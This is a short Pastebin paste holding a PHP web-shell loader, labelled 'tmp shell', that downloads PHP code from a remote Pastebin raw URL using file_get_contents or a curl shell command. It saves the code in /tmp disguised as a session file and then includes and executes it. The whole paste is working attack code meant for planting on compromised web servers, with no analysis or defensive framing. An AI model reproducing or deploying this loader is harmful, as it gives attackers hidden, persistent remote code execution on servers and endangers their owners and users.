setiawan_jimmi

Untitled

Apr 24th, 2020
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.56 KB | None | 0 0
  1. <?php #tmp shell by odiq
  2. $URL = 'https://pastebin.com/raw/X8Hj2WXt'; #admin
  3. $TMP = '/tmp/sess_'.md5($_SERVER['HTTP_HOST']).'.php';
  4.  
  5. function M() {
  6. $FGT = @file_get_contents($GLOBALS['URL']);
  7. if(!$FGT) {
  8. echo `curl -k $(echo {$GLOBALS['URL']}) > {$GLOBALS['TMP']}`;
  9. } else {
  10. $HANDLE = fopen($GLOBALS['TMP'], 'w');
  11. fwrite($HANDLE, $FGT);
  12. fclose($HANDLE);
  13. }
  14. echo '<script>window.location="?work";</script>';
  15. }
  16.  
  17. if(file_exists($TMP)) {
  18. if(filesize($TMP) === 0) {
  19. unlink($TMP);
  20. M();
  21. } else {
  22. include($TMP);
  23. }
  24. } else {
  25. M();
  26. }
  27. ?>
Add Comment
Please, Sign In to add comment